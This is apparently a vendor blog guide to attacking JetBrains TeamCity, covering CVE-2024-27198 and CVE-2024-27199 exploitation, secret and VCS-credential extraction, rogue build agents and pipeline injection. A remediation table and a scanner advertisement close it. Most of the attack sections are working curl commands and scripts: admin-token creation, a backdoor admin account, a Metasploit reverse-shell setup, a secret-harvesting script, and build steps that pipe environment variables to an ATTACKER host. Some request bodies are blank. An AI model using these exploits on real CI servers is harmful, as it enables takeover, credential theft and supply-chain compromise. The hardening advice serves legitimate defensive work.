TeamCity Security Testing: CVE-2024-27198 Auth Bypass, Build Agent Abuse, and Token Exfiltration

JetBrains TeamCity is one of the most widely deployed CI/CD platforms in enterprise environments. In early 2024, CVE-2024-27198 (CVSS 9.8) allowed unauthenticated attackers to create admin-level access tokens and take full control of the server — a vulnerability exploited by multiple nation-state threat actors within days of disclosure. This guide covers authorized security testing for TeamCity deployments, from CVE exploitation through build agent abuse, secret exfiltration, and pipeline injection.

Contents

  1. Reconnaissance and Version Detection
  2. CVE-2024-27198: Unauthenticated Admin Token Creation
  3. CVE-2024-27199: Path Traversal
  4. Token and Secret Exfiltration via REST API
  5. Build Agent Abuse
  6. VCS Root Credential Theft
  7. Build Step and Pipeline Injection
  8. Default Credentials and Weak Configuration
  9. Remediation and Hardening

Reconnaissance and Version Detection

TeamCity exposes version information in multiple locations. Identifying the version early determines which CVEs are applicable and how much time to spend on unpatched vulnerability chains versus authenticated attack paths.

# TeamCity default port
# HTTP: 8111 (default), HTTPS: 8443 (or behind reverse proxy on 443/80)

# Version fingerprinting from login page
curl -s http://TARGET:8111/login.html | grep -i "version\|TeamCity"

# REST API version endpoint (often unauthenticated on older versions)
curl -s http://TARGET:8111/app/rest/server | python3 -m json.tool | grep -i version

# Also check the about page
curl -s http://TARGET:8111/about.html | grep -i version

# Nmap service scan
nmap -sV -p 8111,8443 TARGET

# Check for TeamCity version in HTTP headers
curl -I http://TARGET:8111/

TeamCity versions before 2023.11.4 and 2023.05.x before 2023.05.6 are vulnerable to CVE-2024-27198. The vendor released patches on March 4, 2024, but exploitation began within 24 hours of the advisory.

CVE-2024-27198: Unauthenticated Admin Token Creation

CVE-2024-27198 allows an unauthenticated attacker to create new administrator accounts or access tokens by exploiting a path traversal bug in the TeamCity request routing layer. The server processes certain paths through an unauthenticated code path that has access to admin token creation endpoints.

Critical: CVE-2024-27198 was exploited by BianLian, Jasmin, and other threat actors for ransomware deployment, crypto-mining, and supply chain attacks within days of the March 2024 advisory. Any unpatched TeamCity server has very likely been compromised.

Exploit Technique

# CVE-2024-27198: unauthenticated admin token creation
# The bypass uses a URL fragment/path injection to reach the token API
# without authentication enforcement

# Step 1: Create an admin access token (no credentials needed)
curl -X POST "http://TARGET:8111/app/rest/users/id:1/tokens/RPC2024" \
  --path-as-is \
  -v 2>&1 | grep -i "token\|value\|error"

# Alternative exploit path (variant)
curl -X POST \
  "http://TARGET:8111/app/rest/users/id:1/tokens/pwn?jsp=/app/rest/users/id:1/tokens/pwn&page=.jsp" \
  -v

# If successful, response contains admin token:
# {"name":"RPC2024","creationTime":"...","value":"eyJ0eXAiOiJKV1Qi..."}

# Step 2: Use the token to verify admin access
TOKEN="eyJ0eXAiOiJKV1Qi..."  # from previous step
curl -H "Authorization: Bearer $TOKEN" \
  "http://TARGET:8111/app/rest/server" | python3 -m json.tool

# Step 3: Create a new admin user for persistence
curl -X POST -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  "http://TARGET:8111/app/rest/users" \
  -d '{
    "username": "pentester",
    "password": "PentestAccess2024!",
    "email": "pentester@test.com",
    "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}
  }'

Automated Exploitation

# Nuclei template for CVE-2024-27198 detection
nuclei -target http://TARGET:8111 -id CVE-2024-27198 -v

# Metasploit module (available since March 2024)
msfconsole -q -x "
use exploit/multi/http/jetbrains_teamcity_rce_cve_2024_27198;
set RHOSTS TARGET;
set RPORT 8111;
set PAYLOAD cmd/unix/reverse_bash;
set LHOST ATTACKER;
set LPORT 4444;
run
"

# Manual PoC: create admin user and extract all tokens
curl -X POST "http://TARGET:8111/app/rest/users" \
  --path-as-is \
  -H "Content-Type: application/json" \
  -d '{"username":"attacker","password":"A1b2C3d4!","name":"test","email":"x@x.com"}' \
  -v 2>&1 | grep "HTTP\|id\|username"

CVE-2024-27199: Path Traversal

CVE-2024-27199 (CVSS 7.3) is a companion vulnerability released alongside CVE-2024-27198. It allows an unauthenticated attacker to traverse paths within the TeamCity application to access server configuration, read administrative data, and modify certain server settings without credentials.

# CVE-2024-27199: path traversal to read server configuration
# Affects TeamCity before 2023.11.4 and 2023.05.x before 2023.05.6

# Read server info via path traversal
curl "http://TARGET:8111/res/icons/../../app/rest/server" \
  --path-as-is -v

# Modify administrator password via path traversal
curl -X POST "http://TARGET:8111/res/../admin/dataDir.html?action=edit" \
  --path-as-is \
  -d "fileName=config/main-config.xml&content=..." -v

# Read build configuration files
curl "http://TARGET:8111/res/../app/rest/projects/id:_Root/parameters" \
  --path-as-is -H "Content-Type: application/json"

# Access admin settings panel
curl "http://TARGET:8111/res/../admin/admin.html" --path-as-is -v

Token and Secret Exfiltration via REST API

TeamCity's REST API exposes a comprehensive management interface. Authenticated attackers (or those who obtained tokens via CVE-2024-27198) can enumerate and extract all access tokens, service account credentials, and project-level parameters including secrets marked as password-type fields.

# With admin token from CVE-2024-27198 or compromised credentials
TOKEN="your_admin_token_here"
BASE="http://TARGET:8111"

# List all users and their tokens
curl -H "Authorization: Bearer $TOKEN" \
  "$BASE/app/rest/users" | python3 -m json.tool

# List all access tokens for a specific user
curl -H "Authorization: Bearer $TOKEN" \
  "$BASE/app/rest/users/username:admin/tokens" | python3 -m json.tool

# List ALL projects
curl -H "Authorization: Bearer $TOKEN" \
  "$BASE/app/rest/projects" | python3 -m json.tool

# Extract parameters from a project (includes passwords if admin)
curl -H "Authorization: Bearer $TOKEN" \
  "$BASE/app/rest/projects/id:ProjectId/parameters" | python3 -m json.tool

# Get parameters for all build configs in a project
curl -H "Authorization: Bearer $TOKEN" \
  "$BASE/app/rest/buildTypes" | python3 -m json.tool

curl -H "Authorization: Bearer $TOKEN" \
  "$BASE/app/rest/buildTypes/id:BUILD_CONFIG_ID/parameters" | python3 -m json.tool

# Dump all VCS roots (contains repository credentials)
curl -H "Authorization: Bearer $TOKEN" \
  "$BASE/app/rest/vcs-roots" | python3 -m json.tool

# Get specific VCS root with credentials
curl -H "Authorization: Bearer $TOKEN" \
  "$BASE/app/rest/vcs-roots/id:VCS_ROOT_ID/properties" | python3 -m json.tool

Automated Secret Extraction Script

#!/bin/bash
# Enumerate all TeamCity secrets (authorized pentest use only)
TOKEN="$1"
BASE="$2"

echo "[+] Enumerating all build configurations..."
BUILD_TYPES=$(curl -s -H "Authorization: Bearer $TOKEN" \
  "$BASE/app/rest/buildTypes?fields=buildType(id,name)" | \
  python3 -c "import sys,json; data=json.load(sys.stdin); [print(bt['id']) for bt in data.get('buildType',[])]")

for BT_ID in $BUILD_TYPES; do
  echo "[*] Build config: $BT_ID"
  curl -s -H "Authorization: Bearer $TOKEN" \
    "$BASE/app/rest/buildTypes/id:$BT_ID/parameters" | \
    python3 -c "
import sys, json
data = json.load(sys.stdin)
for p in data.get('property', []):
    if p.get('type', {}).get('rawValue','') == 'PASSWORD' or 'password' in p.get('name','').lower() or 'secret' in p.get('name','').lower():
        print(f\"  SECRET: {p['name']} = {p.get('value','[encrypted]')}\")
"
done

echo "[+] Enumerating VCS roots..."
curl -s -H "Authorization: Bearer $TOKEN" \
  "$BASE/app/rest/vcs-roots?fields=vcs-root(id,name,properties)" | \
  python3 -c "
import sys, json
data = json.load(sys.stdin)
for vr in data.get('vcs-root', []):
    print(f\"\\nVCS Root: {vr.get('name')}\")
    for p in vr.get('properties', {}).get('property', []):
        if any(k in p.get('name','').lower() for k in ['password','token','key','secret','auth']):
            print(f\"  {p['name']}: {p.get('value','[encrypted]')}\")
"

Build Agent Abuse

TeamCity build agents execute build steps and have access to all environment variables configured in the project and build configuration. A compromised or rogue build agent can exfiltrate all secrets, access connected systems, and deploy artifacts to production registries.

Environment Variable Exfiltration from Build Steps

# Malicious build step inserted by compromised admin account
# Navigate to: Build Configuration > Build Steps > Add New Step (Command Line)

# Environment variable dump
SCRIPT=$(cat << 'EOF'
#!/bin/bash
# Exfiltrate all env vars (authorized test scope only)
env | sort | curl -X POST "http://ATTACKER:9001/exfil" \
  --data-urlencode "data@-" \
  -H "Content-Type: application/x-www-form-urlencoded"

# Print to build log (visible in TeamCity UI)
env | grep -E "TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL" | sort
EOF
)

# Via REST API: add malicious build step
curl -X POST -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/xml" \
  "$BASE/app/rest/buildTypes/id:BUILD_ID/steps" \
  -d '
    Debug Environment
    
        
        
    
  '

# Trigger a build to execute
curl -X POST -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  "$BASE/app/rest/buildQueue" \
  -d '{
    "buildType": {"id": "BUILD_ID"},
    "comment": {"text": "Security test run"}
  }'

# Retrieve build log with exfiltrated variables
BUILD_ID=$(curl -s -H "Authorization: Bearer $TOKEN" \
  "$BASE/app/rest/buildQueue" | python3 -c "import sys,json; print(json.load(sys.stdin)['build'][0]['id'])")

curl -H "Authorization: Bearer $TOKEN" \
  "$BASE/app/rest/builds/id:$BUILD_ID/log" | grep -A2 -B2 "TOKEN\|SECRET\|KEY"

Rogue Build Agent Registration

# A rogue agent registered to TeamCity receives build jobs and their env vars
# Agent communication uses the buildAgent.properties configuration

# TeamCity agent connects to server to register
# If agent authorization is open (unauthenticated) — misconfiguration
curl -s http://TARGET:8111/app/rest/agents | python3 -m json.tool

# Check if unauthorized agents can register
# Misconfigured: Administration > Agents > Unauthorized tab shows pending agents
# New agents connect, appear as "unauthorized" — admin accepts or auto-authorizes

# With admin access, authorize a rogue agent
curl -X PUT -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  "$BASE/app/rest/agents/id:ROGUE_AGENT_ID" \
  -d '{"authorized": true}'

VCS Root Credential Theft

TeamCity stores VCS (Version Control System) credentials to check out code from Git, SVN, Mercurial, and other repositories. These credentials are encrypted in TeamCity's internal database but accessible to admin users via the REST API and potentially in plaintext in exported project XML configurations.

# Extract VCS root credentials via REST API (admin)
curl -H "Authorization: Bearer $TOKEN" \
  "$BASE/app/rest/vcs-roots?fields=vcs-root(id,name,vcsName,properties(property))" | \
  python3 -c "
import sys, json
data = json.load(sys.stdin)
for vr in data.get('vcs-root', []):
    print(f'=== {vr[\"name\"]} ({vr[\"vcsName\"]}) ===')
    for p in vr.get('properties', {}).get('property', []):
        print(f'  {p[\"name\"]}: {p.get(\"value\", \"[encrypted]\")}')
    print()
"

# Export project XML (includes VCS credentials in encrypted form)
curl -H "Authorization: Bearer $TOKEN" \
  "$BASE/app/rest/projects/id:PROJECT_ID?fields=buildTypes,parameters,vcsRoots" > project_backup.xml

# Check exported project ZIP files — may include plaintext credentials
# Admin > Projects > Import/Export
curl -O -H "Authorization: Bearer $TOKEN" \
  "$BASE/app/rest/projects/id:PROJECT_ID/export"

# Git repository credentials in TeamCity data directory (server file system)
# Find: $TEAMCITY_DATA_DIR/config/projects/*/pluginData/vcs/*.xml
find /opt/teamcity -name "*.xml" -path "*/vcs*" 2>/dev/null | xargs grep -l "password\|token" 2>/dev/null

Build Step and Pipeline Injection

TeamCity build configurations store build steps in its database and in version-controlled .teamcity project XML files. If a project is set to synchronize configuration from VCS, an attacker who compromises the source repository can inject malicious build steps that execute with access to all TeamCity secrets.

# Check if project uses VCS-stored settings (Kotlin DSL or XML in .teamcity/)
curl -H "Authorization: Bearer $TOKEN" \
  "$BASE/app/rest/projects/id:PROJECT_ID?fields=id,name,settings(synchronizationMode,cleanupMode)" \
  | python3 -m json.tool

# If synchronizationMode is "PREFER_VCS" or "EXTERNAL", injecting
# .teamcity/settings.kts or .teamcity/pom.xml in the repo adds build steps

# Example: malicious .teamcity/settings.kts injection
cat > /tmp/.teamcity/settings.kts << 'EOF'
import jetbrains.buildServer.configs.kotlin.*

version = "2023.11"

project {
    buildType {
        id("MaliciousStep")
        name = "Security Scan"

        steps {
            exec {
                commandExecutable = "/bin/bash"
                arguments = "-c 'env | curl -X POST http://ATTACKER:9001 --data-binary @-'"
            }
        }

        triggers {
            vcs {}
        }
    }
}
EOF

# Build parameter injection via REST (authenticated)
curl -X POST -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/xml" \
  "$BASE/app/rest/buildTypes/id:BUILD_ID/parameters" \
  -d ''

Default Credentials and Weak Configuration

Fresh TeamCity installations prompt for admin password creation, but some deployment automation scripts or Docker images preconfigure weak credentials. Additionally, several common misconfigurations expand the attack surface significantly.

# Common default credentials to test
# admin / admin
# admin / password
# teamcity / teamcity

for PASS in admin password teamcity changeme Password1 Admin123; do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    -u "admin:$PASS" "http://TARGET:8111/app/rest/server")
  echo "admin:$PASS -> HTTP $STATUS"
done

# Check for guest user access (TeamCity has a guest feature)
curl -s "http://TARGET:8111/app/rest/projects?guest=1" | python3 -m json.tool
# 200 = guest access enabled (information disclosure)

# Check for open agent registration (agents auto-authorized)
curl -s "http://TARGET:8111/app/rest/agents?includeUnauthorized=true" | python3 -m json.tool

# Check for debug endpoints
curl -s "http://TARGET:8111/app/rest/debug/jmx?loadConfig=true" -v
curl -s "http://TARGET:8111/app/rest/debug/threads" -v

Remediation and Hardening

FindingSeverityFix
CVE-2024-27198 (auth bypass)CriticalUpgrade to 2023.11.4+ or 2023.05.6+; or disable REST API if not needed until patched
CVE-2024-27199 (path traversal)HighUpgrade to 2023.11.4+ or 2023.05.6+; apply same patch as CVE-2024-27198
Default credentialsCriticalChange admin password; audit all user accounts; enforce SSO (LDAP/SAML)
Guest access enabledMediumAdministration > Authentication > uncheck Guest Login; disable in teamcity-startup.properties
Auto-authorize agentsHighAdministration > Agents > turn off automatic authorization; require manual agent approval
REST API internet-exposedHighRestrict TeamCity to internal network only; use WAF with IP allowlist for external access
VCS credentials in plaintext exportHighRotate all VCS credentials post-incident; use SSH key auth instead of username/password
VCS-synchronized config (code injection)HighIf using VCS settings sync, restrict who can push to the .teamcity directory; review all incoming config changes
Build logs retain secretsMediumMark parameters as password-type; use parameter references instead of inline secrets in build steps

Secure Configuration Baseline

# 1. Upgrade TeamCity immediately to latest supported version
# https://www.jetbrains.com/teamcity/download/

# 2. Restrict TeamCity to internal network only
# Nginx reverse proxy with IP allowlist
location /app/rest/ {
    allow 10.0.0.0/8;
    allow 192.168.0.0/16;
    deny all;
    proxy_pass http://teamcity:8111;
}

# 3. Force HTTPS
# teamcity-startup.properties:
# teamcity.https.enabled=true

# 4. Disable guest access
# Administration > Authentication > Authentication modules
# Remove "Guest" from the list

# 5. Enable 2FA for all admin users
# Administration > Authentication > Two-factor authentication

# 6. Audit build steps for secret exposure
# Administration > Audit Log — filter by "Build configuration edit"

# 7. Use SSH keys for VCS instead of password-based auth
# VCS Root settings: Authentication method = SSH Key

Automate Your TeamCity Security Assessment

Ironimo's scanner detects TeamCity version vulnerabilities including CVE-2024-27198 and CVE-2024-27199, tests for guest access and default credentials, audits REST API exposure, and checks for misconfigured agent authorization — all in a single authorized scan.

Start free scan